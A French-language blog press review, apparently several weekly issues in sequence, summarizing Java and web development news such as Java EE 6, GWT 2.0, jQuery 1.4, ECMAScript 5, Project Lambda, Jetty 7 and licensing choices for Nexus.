Parallèlement, SpringSource annonce le transfert de dm Server au sein de la fondation Eclipse. Il tiendra alors le rôle d’implémentation de référence de la spécification BluePrint OSGi 4.2 récemment finalisée. Tout comme le travail de simplification apporté à la nouvelle version, la standardisation permettra de rassurer les entreprises sur la pérennité de la technologie proposée par dm Server, qui restait jusqu’alors propriétaire.

HornetQ 2.0, un véritable renouveau ?

Pour mémoire, HornetQ est le nouveau nom de JBoss messaging. En bref, c’est pour le moment un projet Open Source sans support ayant vocation à s’intégrer dans le futur aux produits d’entreprise RedHat. Nous en parlions déjà en aout l’année dernière. La roadmap visait alors clairement la mise à disposition d’une API de messaging RESTful. Malheureusement, il n’y en a même pas l’ombre pour le moment et cela reste dans la roadmap. Gageons que quelques problèmes d’architecture accompagnés de bugs bloquants ont empêché le développement de cette nouvelle fonctionnalité.

L’annonce reprend principalement la précédente et ne liste rien de neuf par rapport à Aout 2009. Mais s’il y a bien dans le Jira du projet un grand nombre de bugs corrigés, c’est surtout la maturité du source qui a grandi.
Malgré tout, la bonne nouvelle est que JBoss espère bien pouvoir l’intégrer dans sa ligne produit et que RedHat continue l’investissement sur le projet.

Nexus sous license GPL: Sonatype explique son choix

Nexus est le gestionnaire de dépôts Maven développé par Sonatype. La version 1.0 est sortie à l’été 2008 sous la licence GPL. Il faut croire que Sonatype a fait face à de nombreuses critiques car la société vient de publier sur son blog un post intitulé « Why we chose the GPL for Nexus » lui permettant d’argumenter son choix. Alors quelles furent ces raisons ?
Le « problème » de la GPL est qu’elle force à redonner à la communauté les changements effectués dans le source au cas où le logiciel obtenu est redistribué. Dans le cas spécifique de Nexus, Sonatype explique que le produit était vu dès l’origine comme un produit commercial, sans question d’open source. Puis, trouvant le processus de développement plus fun, intéressant et plus productif, couplé au fait que l’équipe voulait « protéger son investissement », il fut décidé de passer en Open Source. Sonatype est franc sur ce dernier point et affirme l’avoir toujours été.
Ensuite, la société explique les idées qui guident généralement ses choix de licence:

• L’Affero GPL ne permet pas aux utilisateurs de développer des extensions, même à usage interne, sans avoir à redistribuer les sources. Dans le cas de Nexus, cela aurait sans doute impacté négativement son adoption.
• Sonatype considère que, pour un projet open source, passer d’une licence donnée à une licence plus restrictive n’est pas correct. On se souvient que certains on déjà réalisé cette transition en s’attirant alors des critiques d’utilisateurs. Sonatype déclare que ce ne sera pas leur cas.
• La documentation, elle, est soumise à un principe différent. En effet, la compagnie pense que celle-ci constitue une bonne partie de la plus-value apportée. Ainsi, ils ne veulent pas voir de concurrents se servir de leur travail. C’est pourquoi ils ont choisi la licence Creative Common 3.0 BY-ND-NC interdisant à quiconque de modifier cette documentation.

Au final, cet article est passionnant dans la mesure où il nous permet de bien appréhender le raisonnement derrière le choix d’une License pour des produits très répandus dans l’écosystème Java. Nous les utilisons tous les jours sans forcément nous poser de questions. Pourtant, pour certains clients, il peut être important de garder fermées leurs sources. Après, savoir si c’est une réelle nécessité ou un simple état d’esprit difficile à changer est une autre histoire !

Agilité

Le rôle des leaders dans une équipe agile

Mike Cohn, auteur de nombreux livres sur l’agilité et membre fondateur de l’Alliance Agile, revient sur le rôle des managers au sein d’une organisation de type agile. Un des principes forts des méthodes agiles est la mise en place d’une équipe auto-organisée, où il n’y a théoriquement plus de chef de projet. Cependant, Mike nous averti qu’une auto-organisation ne veut pas dire les développeurs font tout ce qu’ils veulent. Au contraire, Mike explique que des managers ont tout à fait leur rôle à jouer dans ce type d’organisation. Ainsi, il développe l’idée d’une influence subtile et indirecte des managers sur l’équipe.
C’est alors au fur et à mesure des challenges, des échecs et réussites que l’équipe évolue d’elle-même vers l’organisation la plus appropriée. Les managers sont néanmoins là pour poser certaines limites et contraintes.
A la fin de son article, Mike nous présente un exemple concret d’un scrum master au prise avec un développeur, qui est un peu trop solitaire, et nous expose comment il pourrait résoudre ce problème de manière subtile. Le scrum master peut être alors vu comme un agitateur au sein de l’équipe pour l’aider à devenir plus agile. Et, c’est là l’un des plus gros challenges d’un scrum master, qui consiste à naviguer entre un subtil mélange de contrôle et d’influence.

RIA

Le nouveau jQuery est arrivé !

Un an jour pour jour (ou presque) après la sortie de jQuery 1.3, voici venir la nouvelle mouture du framework qui nous arrive dans une version 1.4. Le détail complet des nouveautés se trouve sur cette page. Le mot d’ordre : performance !

L’API a subit une réécriture complète. Un des points marquants est la fonction live(), déjà présente dans la version précédente, qui supporte désormais tous les évènements Javascript (click, change…). Pour ce qui est des nouveautés au niveau de l’API, on retiendra plus particulièrement :

• contains() : vérifie l’existence d’un nœud DOM dans un autre nœud DOM,
• isEmptyObject() et isPlainObject() : vérifie si un objet est vide ou existant (new Object ou {}),
• detach() : supprime du DOM un set d’éléments,
• focusin() et focusout() : ajoute un événement de type focus,
• clearQueue() : supprime de la pile les éléments qui n’ont pas encore été lancés,
• delay() : définit un timer pour l’exécution de certains éléments dans la pile,
• toArray() : récupère tous les éléments du conteneur jQuery dans un tableau.

Côté performance, on peut noter une réelle amélioration pour les méthodes remove, html et empty. Un gros travail a donc été effectué au niveau des méthodes de manipulation du DOM. Il en va de même pour la gestion des attributs et des propriétés css.

Pour le téléchargement de la librairie production (minifié et GZippé) ou développement (code non compressé) ou pour consulter la documentation, je vous renvoie directement sur la home page du site. Et pour les fans de CheatSheet (comme moi ), la version 1.4 est déjà disponible au format HTML, PDF ou PNG.

Et si vous appréciez jQuery et le travail de toute l’équipe qui se trouve derrière, vous pouvez faire une donation de 20$ et ainsi recevoir un eBook jQuery gratuitement !

Survol de la galaxie Flex.

Vous voulez passer à Flex, mais vous ne savez pas par où commencer ? Suivant l’adage « Pour bien travailler il faut avoir de bons outils », InfoQ propose un survol de la galaxie Flex. Sans rentrer dans les détails de l’article, on notera :

• les IDE : le célèbre FlexBuilder, mais aussi IntelliJ, ou encore des environnements plus exotiques comme Amethyst, EnsembleTofino et FlashDevelop. Nous n’avons pas (encore) eu l’occasion d’essayer ces derniers, mais si l’un de nos lecteurs possède une expérience avec ces outils, qu’il n’hésite pas à la partager !
• les frameworks : là encore, outre les classiques (PureMvc, Cairgorm…), quelques petits nouveaux tentent d’émerger, dont deux qui nous ont interpellé : Ruboss (pour intégrer Ruby on Rails) et Prana (IoC). Nous espérons bientôt les tester.
• les outils de support du developpement : là encore, Flex commence à se doter d’un arsenal conséquent : tests unitaires (FlexMonkey), couverture de code (FlexCover), tests de GUI (RIATest). Il ne reste plus qu’à monter une usine logicielle digne de ce nom en agrégeant ces utilitaires.
• les outils d’intégration dans l’entreprise : là encore, un certains nombre de ces outils sont archi-connus (comme BlazeDs), et d’autres plus confidentiels, peuvent présenter un réel intérêt : intégration à Struts (FxStruts), AmFast (Python)… Nous aurons probablement l’occasion d’en reparler.

Au final, InfoQ propose un survol relativement complet et permet de découvrir de nouveaux outils. Ne reste plus qu’à les tester, ou à recueilli vos retours d’expérience !

Actualité éditeurs / SSII

• Java EE 6, Glassfish v3 et NetBeans 6.8 dans les bacs
• Terracota et Quartz : un premier produit disponible.

RIA

• GWT 2.0 est (enfin) là !
• Sortie de la release de FlexPMD 1.0

Le coin de la technique

• Le projet Lambda apparaît au sein d’OpenJDK
• Nouvelle version du meilleur IDE Java du monde…
• 10 ans d’attente et ECMAScript 5
• Nouvelle Milestone d’Eclipse Helios
• Spring Surf – le studio de composition de pages pour Spring MVC

Actualité éditeurs / SSII

Java EE 6, Glassfish v3 et NetBeans 6.8 dans les bacs

C’est la fin de longs mois d’attente, Sun nous livre finalement sa version 6 de la plateforme Java EE dont nous parlons depuis déjà longtemps sur le blog. Comme promis, c’est GlassFish v3 qui sert d’implémentation de référence à JavaEE 6. Le tout est fourni prêt à l’emploi : le SDK, l’implémentation serveur et l’IDE compatible. Vous pouvez donc d’ores et déjà essayer les EJB lite, les Servlet 3.0, la validation de Bean, l’injection de dépendance et bien sûr, la toute nouvelle JSF 2 « tant attendue ».
Voilà un beau cadeau de Noël que Sun nous offre, d’autant que la sortie de GlassFish v3 s’accompagne des plugins adéquats pour Eclipse et IntelliJ. Nous souhaitons longue vie et grand succès à cette nouvelle plateforme JavaEE.
Pour plus d’information sur le sujet:

• JavaEE6 à Devoxx
• La news sur le site de Sun
• Inteview de Roberto Chinnici sur InfoQ
• L’annonce sur The Server Side

Terracota et Quartz : un premier produit disponible.

Un peu moins d’un mois après le rachat de Quartz par Terracota, l’éditeur met en application son acquisition, en proposant Terracotta Quartz EX, un Job Store pour Quartz. Cette nouveauté permet de développer une plate forme de gestion de charge et de distribution des traitements basée sur une gestion des jobs en mémoire.
Pour ceux qui utilisaient Quartz de manière non clusterisée, une nouvelle version de Quartz permet d’utiliser une instance de serveur Terracota comme JobStore. Cela procure, automatiquement, à la fois une solution de persistance et de haute disponibilité pour la programmation des jobs. Cette implémentation repose sur le lock manager et la plate forme haute-dispo de Terracotta (et ne nécessite donc pas de base de données).
Pour ceux qui utilisaient déjà Quartz de manière clusterisée, à l’aide d’une base de données centrale, le nouveau Terracotta Job Store permet de continuer à utiliser le mode clusterisé, sans l’overhead dû à la base de données.

A n’en pas douter, comme pour EHCache, aquis il y a quelques temps déjà, Terracotta va rapidement proposer de nouvelles applications permettant de profiter au mieux des interactions possibles entre un scheduler et une plate-forme clusterisée.

Au passage, Quartz a subi un lifting afin que le framework respecte au mieux les normes Maven et s’intègre plus facile à Hudson.

Via infoQ

RIA

GWT 2.0 est (enfin) là !

L’une des sensations de la semaine dernière n’est autre que la sortie en release finale de GWT en version 2.0, quelques mois seulement après la mise à jour 1.7 qui ne faisait que corriger GWT pour les navigateurs récents.

Nous avons déjà bien couvert le sujet dans nos précédentes revues de presse, que ce soit pour la Milestone 1 ou la Release Candidate 1. Rien de nouveau donc si vous nous suivez régulièrement. On retrouve ainsi le development mode, le code splitting, l’intégration HTMLUnit, l’UIBinder, le RunAsync et bien d’autres. Le détail complet des différentes nouveautés se trouve sur cette page.

A noter aussi l’arrivée avec GWT 2.0 de Speed Tracer, un outil vous permettant d’analyser votre application et ainsi de repérer d’éventuels problèmes de performances.
Le plugin Eclipse a lui aussi été mis à jour et possède désormais de nouvelles fonctionnalités spécifiques à GWT 2.0, comme le support d’UiBinder et de ClientBundle.

Concernant la migration, les retours (comme celui-ci) sont plutôt encourageants et laissent présager une migration sans trop de difficultés. Les gains en performance se situent, comme on pouvait s’y attendre, au niveau du development mode et de son plugin pour débuguer directement dans le navigateur (ce bon vieux Hosted Mode ne va décidément pas me manquer). Même au niveau des librairies tierces, il n’y a pas de grosses incompatibilités remontées par l’auteur.

La section téléchargement se trouve ici.

Sortie de la release de FlexPMD 1.0

Une bonne nouvelle cette semaine pour les développeurs Flex : la sortie de FlexPMD, FlexCPD et FlexMetrics en release pour contrôler votre code. Voyons un peu plus en détail ces différents outils :

• FlexPMD

Nous vous en parlions en septembre, FlexPMD fournit maintenant des fonctionnalités supplémentaires :

• invocation depuis Eclipse grâce à son plugin,
• depuis FlashDevelop ou TextMate sur Mac OS X.

Le rapport peut être généré en HTML ou XML. Son rapport au format XML est un standard pouvant être exploité par tout intépréteur PMD comme le plugin d’Hudson.

• FlexCPD (Copy & and Paste Detector)
• FlexCPD permet comme son nom l’indique de détecter les duplications de code. Basé sur le moteur de JavaCPD, il peut être appelé en ligne de commande par une tâche Ant ou avec Maven. Les résultats sont exploitables dans Hudson également grâce au plugin DRY.
• FlexMetrics
• FlexMetrics permet d’avoir des métriques sur votre code Flex. Comme FlexCPD, il peut être appelé en ligne de commande, avec Ant ou Maven. Pour interpréter les résultats de l’outil, il est possible d’utiliser le plugin JavaNCSS.

Des outils intéressants donc, pour ajouter vos projets Flex dans vos outils d’intégration continue.

Le coin de la technique

Le projet Lambda apparaît au sein d’OpenJDK

Mark Reinhold annonce la création d’un nouveau sous-projet au sein d’OpenJDK : le Projet Lambda. Son but est d’apporter une implémentation des closures pour le JDK 7. Dans la mesure où il est prévu que cette fonctionnalité soit implémentée dans un premier temps pour être spécifiée par la suite, il sera particulièrement intéressant de suivre l’évolution de ce projet dans les prochains mois afin de découvrir à quoi pourraient ressembler les closures dans la prochaine version de Java.

Un premier document de travail a été mis à disposition. Il présente de manière non formelle la proposition pour l’implémentation des closures qui est retenue pour le moment. Cette proposition se base sur les trois principales bases de travail qui s’étaient dégagées lors des débats précédents, à savoir la BGGA, la CICE et la FCM. Elle met en avant principalement :

• La syntaxe retenue pour la définition de fonctions anonymes qui se base sur le caractère #, ainsi #()(42) définit une fonction retournant toujours 42.
• La définition d’un type Java pour ces fonctions. Ainsi la fonction #()(42) prise en exemple précédemment a pour type #int().
• Les fonctions anonymes peuvent être converties automatiquement lorsqu’elle sont passées en argument d’une méthode attendant une instance d’une classe anonyme. En clair, il sera possible de créer une nouvelle thread avec new Thread(#() { ...some code... } ) plutôt que de fournir au constructeur une classe anonyme implémentant Runnable pour définir la méthode run(). Cette possibilité permettra donc aux closures d’être utilisées directement dans les APIs existantes !
• Dans certaines conditions, les closures sont à même d’utiliser les variables accessibles dans le contexte dans lequel elles sont définies.
• Le mot clé this peut être utilisé si la closure est déclarée depuis une méthode d’instance, il référence alors l’instance à laquelle est attachée la méthode concernée.

Enfin, pour faciliter les évolutions des APIs existantes que pourraient justifier ces nouvelles possibilités du langage, la notion de méthodes d’extensions est introduite. Il s’agit de permettre la définition de méthodes au sein des interfaces dont l’implémentation par défaut serait une méthode statique indiquée en argument.

Pour plus de détails sur cette proposition, n’hésitez pas à lire le document de travail, volontairement très didactique, du projet Lambda.

Nouvelle version du meilleur IDE Java du monde…

… en tout cas, c’est une des accroches d’IntelliJ IDEA
JetBrains continue donc sur sa lancée d’évolution majeure de ses produits.
Ainsi, après TeamCity 5.0, c’est au tour d’IntelliJ IDEA d’évoluer et de passer en version 9.

Les nouveautés sont très nombreuses. Les points importants retenus par JetBrains sont :

• la rapidité de l’IDE,
• l’amélioration de la lecture du code (meilleure coloration syntaxique…),
• meilleure UI, une structure de projet plus flexible,
• premier support Java 7 avec JSR308, support de JEE 6,
• meilleur support de Groovy,
• plugin de développement Android,
• support d’autres frameworks (Tapestry, GAE, GWT 1.7 et 2.0, Spring 3.0 et Spring Security 2.0 et 3.0),
• meilleur support de Maven,
• plusieurs nouvelles fonctionnalités pour le développement d’applications Flex. (Air, FlexUnit…).

Deux éditions nous sont proposées en téléchargement (avec différentes licences) :

• l’édition ultimate : complète, gratuite pour les licences Classroom et Open Source Project ;
• l’édition community : produit sous licence Apache 2.0 proposant en standard l’IDE pour Java et Groovy (et quelques plugins gratuits).

Et même quelques Friends of Eclipse vous encouragent à le télécharger Comme on dit : l’essayer, c’est l’adopter !

10 ans d’attente et ECMAScript 5

ECMAScript, langage de programmation de type script implémenté entre autres par Javascript et ActionScript, passe en version 5 (via InfoQ).
La version 4 ayant été abandonnée, il faut remonter à 1999 pour voir la dernière version d’ECMAScript et sa version 3… Ce fût long, mais au moins il est là !

Comme nous le rappelle Alex Blewitt, celle-ci essayera de s’imposer là où la version 4 (qui a d’ailleurs été abandonnée) a échoué, à savoir être pleinement supportée par les navigateurs actuels. En effet, nos sites web et nos outils évoluent mais pas la spécification ECMA. Côté application, c’est une nouvelle fois Google Wave (en GWT donc Javascript) qui est cité en exemple pour son côté collaboratif live. Et pour les outils, l’auteur cite Speed Tracer (inclus dans la release GWT 2.0) qui va nous permettre de détecter et de fixer certains problèmes de performances sur nos applications.

On notera la rétrocompatibilité avec les anciennes applications ECMAScript grâce au code suivant :

"use strict;"

Ce code indique au runtime ECMAScript qu’il faut être compatible avec la version 5 d’ECMAScript et ses différentes nouveautés. Il sera possible d’être compatible sur tout le document ou seulement sur une partie de code. Concernant les anciens runtimes, le strict sera compris mais ne changera pas leur comportement.

Concernant les nouveautés de la spécification, on retiendra :

• déclaration de variable obligatoire : terminé les i=3, il faudra obligatoirement passer par var i=3 ;
• eval devient un mot clé réservé ;
• l’opérateur with disparaît ;
• les fonctions et objets ne peuvent plus avoir des arguments/propriétés doubles avec le même nom ;
• nouvel objet JSON et mécanisme de parsing désormais standard ;
• méthode trim pour l’objet String ;
• méthodes indexOf, map, filter and reduce pour l’objet Array;
• nombreuses nouvelles méthodes sur Object dont seal (empêche l’ajout/la suppression de propriétés), freeze (propriétés read-only), keys (liste les propriétés de l’objet) ou getPrototypeof (prototype de l’objet).

Beaucoup de bonnes nouvelles pour les développeurs donc. La rétrocompatibilité permettra une mise en place progressive sur notre code, soit par bloc soit directement sur toute la page. Côté API, on avait déjà l’habitude d’utiliser ces fonctions par l’intermédiaire de librairies comme jQuery mais cette standardisation est la bienvenue.

Nouvelle Milestone d’Eclipse Helios

Eclipse 3.6, nom de code Helios, vient de sortir en version Milestone 4. De nouvelles fonctionnalités sont apparues avec ce build, comme :

• la possibilité d’éditer plusieurs quick fix en même temps
• les « virtual folders » qui permettent de créer des regroupements de fichiers au niveau du projet pour une navigation plus facile
• amélioration du plugin JUnit

Pour plus de détails, voici la liste des améliorations et l’annonce officielle d’EclipseSource.

Spring Surf – le studio de composition de pages pour Spring MVC

Spring s’intéresse à présent à la gestion documentaire, grâce à une collaboration avec Alfresco, le système de GED Open Source Java, qui a démarré le projet Surf. A l’origine, l’objectif était de proposer aux utilisateurs d’Alfresco une plateforme pour développer leurs propres applications connectées à la GED.

Pour profiter des facilités de développement d’applications que propose Spring avec Spring Roo et Spring Tool Suite, Alfresco commence à migrer son projet Surf dans l’incubator Spring Extension.

Pour le moment, les principales informations se trouvent sur le wiki d’Alfresco, la page d’accueil de Spring Surf étant encore très succincte.

Pour démarrer, seuls l’addon Spring Roo et un QuickStart sont disponibles chez Spring (pas encore de tutorial). Et pour mieux connaitre ce que deviendra cette extension, l’application Alfresco Share, basée sur la plateforme Surf donne un bon nombre de pistes comme :

• Création d’applications uniquement par scripting (Freemarker, Groovy, PHP, JavaScript)
• Ajout de pages à une application basée sur le framework Spring MVC
• Développement avec un modèle extensible de templates, composants, styles, etc.

Actualité éditeurs / SSII

• La fondation Eclipse se prépare à Servlet 3.0 avec Jetty 7.0
• Sonar 1.11

RIA

• Air ‘Athena’
• DHTMLX 2.5
• Tips and Tricks Maven 2

Le coin de la technique

• Sécurité : 5 choses de plus que les agresseurs d’applications web ne vous diront pas
• Les optimisations du JDK 6u14 activées par défaut sur le JDK 7

Actualité éditeurs / SSII

La fondation Eclipse se prépare à Servlet 3.0 avec Jetty 7.0

La fondation Eclipse nous livre une nouvelle version de Jetty estampillée 7.0. Côté nouveauté, pas grand chose à vrai dire. Il y a évidemment l’habituelle série de corrections de bugs et d’améliorations de performance. Cette nouvelle version marque surtout le début de la route vers l’implémentation des servlets 3.0 prévue pour Jetty 8.0. C’est aussi l’occasion pour Eclipse d’assimiler un peu plus le projet en changeant principalement le package ancêtre de org.mortbay vers org.eclipse, gare au refactoring donc. A noter tout de même, Jetty est maintenant livré sous une forme modulaire pleinement compatible OSGI. Webtide en profite pour livrer la même version de Jetty, en y intégrant des modules additionnels:

• JSP de glassfish
• JTA d’atomikos
• plugin maven
• integration d’ant
• configuration Spring

Jetty 6 sera encore maintenu pendant quelques temps (aucune précision de la part d’Eclipse), tous les nouveaux développements seront faits sur Jetty 7, et la branche 8 sera en pré-release dans les prochains mois et supportera l’API Servlet 3.0.

• L’annonce sur la ML
• La news d’InfoQ
• La page Jetty chez Eclipse
• La page Jetty chez Codehaus

Sonar 1.11

SonarSource nous gratifie d’une version 1.11 du désormais célèbre outil de suivi de qualité Sonar. Comme souvent, de nombreux de bugs ont été corrigés. Parmi les améliorations, on peut noter les passages à Hibernate 3.3 et GWT 1.7. Au chapitre des nouvelles fonctionnalités, la possibilité de réutiliser les fichiers de configuration PMD et CheckStyle définis dans le pom permettra de plus aisément éviter les doublons.

SonarSource tente de faciliter la vie des développeurs de plugins avec l’apparition d’un archétype Maven pour créer des plugins Sonar. D’autres nouveautés d’API, comme le filtrage de widgets suivant différents critères (comme le rôle utilisateur ou la langue choisie), ajoutent de la flexibilité.

• L’annonce sur le blog Sonar avec plein de jolies images.
• La release note.

RIA

Air ‘Athena’

Non, ce n’est pas une nouvelle marque de baskets, mais, comme les flexeurs le savent depuis le Flash Camp de mai, le nom de code de la future version de Adobe Air, la version 2.0. Comme on s’y attendait, celle-ci fonctionnera avec Flash 10 et Flex 4. Même si aucune date officielle n’a été avancée, Adobe dévoile peu à peu les principales évolutions de sa plate-forme, nouveautés répertoriées par Elad Elrom sur InsideRIA.
Commençons par celle qui nous semble vitale dans l’adoption de AIR / Flex à grande échelle, à savoir une amélioration drastique des performances. Les équipes d’Adobe ont mis l’accent sur la réduction des ressources (CPU et mémoire) consommées par le runtime AIR. Les tests effectués sur une mini application montrent en effet une diminution des ressources utilisées (en regard de la version 1.5). Reste à tester ces optimisations sur une application gourmande… Toujours au chapitre performance, Adobe promet une optimisation de Webkit (le browser open source embarqué par AIR) et une installation Linux native.
Au menu des nouveautés, nous avons :

• Une meilleure connaissance de la plate-forme matérielle, avec la gestion des devices multi-touch et la gestion des périphériques de stockage USB ou réseau ‘à chaud’.
• Un enrichissement des fonctionnalités des APIs existantes : points de sauvegarde dans les transactions, support IPv6, augmentation de la taille maximale de la fenêtre AIR, manipulation des données de l’API Microphone, time-out d’inactivité…
• De nouvelles fonctionnalités via de nouvelles API, dont la plus étonnante est l’API File promises. Celle-ci permet de télécharger en local, depuis une application AIR, un ensemble de fichiers par simple Drag & Drop. D’autres API font également leur apparition, en particulier au niveau du support réseau et de l’adhérence de AIR à l’OS (les fichiers peuvent maintenant être ouverts par des processus natifs de l’OS, par exemple Notepad pour un .txt sous Windows).

Une évolution assez naturelle donc (correction des gros points de blocage des versions précédentes), mais quelques promesses de fonctionnalités intéressantes, en particulier via l’adhérence à l’OS.

DHTMLX 2.5

Des nouvelles de DTHMLX (la 11ème librairie de notre revue de presse de fin janvier dernier) qui est sorti il y a quelques semaines en version 2.5.

Cette release apporte plusieurs corrections et améliorations sur tous les composants de la suite. On retiendra plus particulièrement :

• Une API orientée objet (l’API fonctionnelle est toujours disponible) ,
• Nouvelle skin par défaut avec d’ici peu (mais non présent dans cette release) un Skin Customizer qui permettra de modifier facilement les couleurs principales du thème standard,
• Nouveau moteur de rendu qui améliore la performance d’affichage des composants Layout, Windows, Accordion et Tabbar,
• Une API de conteneurs unifiée (toujours pour les Layout, Windows, Accordion et Tabbar),
• Améliorations générales pour les composants Grid, Tree et TreeGrid,
• Révision complète du DocsExplorer.

Puisque nous sommes sur DHTMLX, notons aussi le composant Scheduler v.2.0, sorti en juillet dernier, qui n’est pas inclus dans la suite mais qui vaut tout de même le détour si vous avez besoin d’un composant calendrier haut niveau.

Les téléchargements se passent par ici et comme d’habitude vous aurez le choix entre le téléchargement composant par composant ou le téléchargement de la suite complète.
Chaque composant existe en édition standard ou professionnelle. Pour résumer la version standard contient moins de fonctionnalités et est sous licence GPL alors que la professionnelle contient toutes les fonctionnalités, un support prioritaire en cas de bugs/questions sur le forum et plusieurs centaines d’exemples de fonctionnalités avancées.
Pour le détail des licences et des différents prix proposés pour les composants et pour la suite complète, cela se passe sur cette page.

Tips and Tricks Maven 2

Sonatype nous présente ici quelques nouveautés intéressantes de maven disponibles depuis la version 2.1 concernant les projets multi-modules. Cela se traduit par de nouvelles commandes disponibles telles que:

• -rf, -resume-from: permet de spécifier au maven reactor le projet à partir duquel on veut reprendre le build
• -pl, -projects: permet de sélectionner une liste de modules d’un projet multi-modules
• -am, -also-make: combinée avec l’option -pl, elle permet de construire tous les modules dépendants du module passé à l’option pl
• -amd, -also-make-dependents: combinée avec l’option -pl, elle permet de construire tous les modules qui ont une dépendance vers le module passé à l’option pl

Très bonne nouvelle donc pour les développeurs dont le build prenait beaucoup de temps à cause de la reconstruction de modules non modifiés (et non impactés) par leurs nouveaux développements.

Le coin de la technique

Sécurité : 5 choses de plus que les agresseurs d’applications web ne vous diront pas

Le Denim Group continue sa série 13 Things a Web Applications Attacker Won’t Tell You que nous avions traitée la semaine dernière avec 5 nouvelles failles de sécurité de nos applications web :

• Ce n’est pas parce que vous utilisez un framework de sécurité que votre application est sécurisée.
• Je n’utilise pas un browser pour attaquer votre application web.
• J’adore quand votre site me permet d’uploader des fichiers dans l’arborescence des répertoires servis par l’application web.
• Je peux intercepter et voler toutes les informations qui passent sur HTTP si elles ne sont pas protégées par SSL ou un mécanisme équivalent.
• Une sécurité obscurantiste n’en est pas une (ne pas savoir faire ou se dire que ca n’arrivera pas ne protège pas).

Si le dernier point est un débat éternel chez les experts de la sécurité les premiers sont en revanche communément admis.

Les optimisations du JDK 6u14 activées par défaut sur le JDK 7

Rémi Forax, un contributeur sur OpenJDK et sur la JSR-292, a fait part de son étonnement en constatant un gain significatif de performance entre deux builds successifs de l’OpenJDK 7 actuellement en cours de développement. C’est ainsi qu’il a pu se rendre compte que deux optimisations majeures du compilateur JIT de la JVM étaient activées par défaut depuis le build 72 du projet : l’escape analysis et la compression de pointeurs. Celles-ci étaient apparues dans le JDK 6u14 mais n’y étaient pas activées par défaut.

Pour rappel l’escape analysis consiste en l’analyse du bytecode d’une méthode pour découvrir les références vers les objets qui ne « s’échappent » pas du contexte de la méthode. Grâce à cette analyse, la JVM peut alors décider d’allouer ces objets directement sur la stack plutôt qu’en heap comme c’est normalement le cas. Il en résulte un gain de performance évident puisque le coût d’allocation et de libération de mémoire est alors supprimé pour ces objets.

La compression de pointeurs, quant à elle, concerne uniquement les JVM 64 bits. En effet le passage d’un adressage de 32 à 64 bits entraîne une consommation plus élevée de la mémoire du fait de l’augmentation de la taille des pointeurs, induisant elle-même des temps de chargement plus longs et une surconsommation du cache du processeur. Pour palier ce problème, la compression de pointeurs se base sur le fait que la JVM aligne l’adresse des objets sur 64 bits (ceci afin de simplifier et donc d’accélérer leur accès en mémoire), pour procéder à un scaling des pointeurs. Ainsi, en limitant l’espace mémoire adressable à 32 Go, il est possible de contenir un pointeur dans 32 bits et donc de revenir à une consommation mémoire proche de celle d’une JVM 32 bits.

L’activation par défaut de ces deux optimisations sur le JDK 7 montre que l’équipe du projet estime désormais qu’elles ne sont plus expérimentales et qu’elles conviennent dans la majorité des cas. Ismael Juma précise par ailleurs qu’il est possible que ces activations par défaut soient reportées également au JDK 6 courant 2010.

Actualité éditeurs / SSII

• Fin officielle de la guerre des JSR d’injection de dépendances

Le coin de la technique

• SpringSource Tool Suite 2.1.0
• JBoss vous aide à manipuler vos annotations
• Eclipse 3.6 M1

Evènements de notre communauté en France et à l’étranger

• JavaCampParis en plein air !

Actualité éditeurs / SSII

Fin officielle de la guerre des JSR d’injection de dépendances

Nous en parlions dès la semaine dernière (grâce aux informations fournies par les Cast Codeurs), la rivalité JSR-299 / JSR-330, portant sur l’injection de dépendances, débouche sur une harmonisation des deux JSR.
Roberto Chinnici, leader de la spécification Java EE 6, l’annonce sur son blog. Les deux JSR seront intégrées à la spécification JEE 6.

• la JSR 299 (dite « Web Beans ») intègrera les annotations proposées par la JSR 330.
• la JSR 330 (dite « @Inject ») intègre, dès aujourd’hui en draft, les objectifs de la JSR 299

L’équipe en charge de la JSR 330 a fait d’importants efforts sur le planning pour que celle ci puisse être intégrée à JEE6 : early draft d’ores et déjà disponible, et navigation à travers les différentes étapes du processus du JCP accélérée.
Cela aura un impact mineur sur la finalisation de la spécification Java EE 6 (estimé entre 4 et 6 semaines). Celle ci devrait donc être disponible en version finale en novembre.

Le coin de la technique

SpringSource Tool Suite 2.1.0

Quelques mois après l’annonce de la gratuité de STS ou SpringSource Tool Suite, le produit sort fin de semaine dernière en version 2.1.0 GA.

Côté packaging, on a le choix entre une version d’eclipse 3.4 ou 3.5, les 2 étant disponibles sous Windows, Mac et Linux. La suite inclut les dernières versions de tc Server et dm Server ainsi que Roo. Une autre release contenant le plugin Groovy est aussi disponible (uniquement en 3.5).

Comme le signale Christian Dupuis, la liste des nouveautés est assez conséquente. On retiendra plus particulièrement :

• Support des milestones Spring 3.0 (@Configuration, @Bean, validation XML…)
• Support des milestones de SpringSource dm Server 2.0
• Déploiement sur les plateformes virtuels de type EC2 ou VMWare Lab Manager
• Amélioration des performances de l’IDE et réduction de l’empreinte mémoire
• Et plusieurs corrections de bugs (cf. la release notes du Jira)

L’équipe travaille déjà sur la prochaine version 2.2.0 avec dans les tuyaux :

• Intégration du support Spring 3.0 pour le développement d’application RESTful
• Support de Grails
• Support de dm Server 2.0

Téléchargement sur le site de SpringSource après avoir rempli le formulaire d’accord.

JBoss vous aide à manipuler vos annotations

Début 2008, Bill Burke (project lead de JBoss RestEasy) présentait une petite librairie Java très pratique nommée Scannotation permettant de scanner les annotations présentes dans les classes d’un package donné. Il expliquait alors le besoin réel pour un tel framework par le fait qu’en standard, cette découverte de classes annotées n’est possible que par un coûteux mécanisme d’introspection nécessitant le chargement dans la JVM de l’ensemble des classes scannées (induisant donc une consommation de mémoire PermGen excessive puisque toutes les classes concernées n’auraient pas forcément été chargées lors de l’exécution de l’application).

JBoss présente maintenant un framework remplissant le même rôle et nommé JBoss Annotations, prévu pour être intégré aux différents projets de l’éditeur. Il vous permettra ainsi de constituer une base de données des annotations présentes sur l’ensemble des classes que vous aurez sélectionnées pour analyse, que vous pourrez ainsi facilement interroger. La documentation et la javadoc de JBoss Annotations sont pour le moment uniquement disponibles dans l’archive de distribution du projet.

Eclipse 3.6 M1

Quelques semaines après la sortie fin juin d’eclipse 3.5 galileo, voici venir la première milestone de la prochaine version de l’IDE à savoir eclipse 3.6 helios (par le blog de keulkeul).

Au menu des nouveautés :

• Regroupement des licences dans le wizard d’installation
• Ajout d’un Footer customisable pour l’aide
• Content assist et Hover Pop-Up redimensionnable sous Linux
• Amélioration d’Extract Method au niveau de continue et de retours multiples
• Export All pour les Formatters
• Nouvelles entrées de menu (Remove Nodes dans Call Hierarchy, Open Implementation…)

Early adopters, c’est par ici que ça se passe !

Evènements de notre communauté en France et à l’étranger

JavaCampParis en plein air !

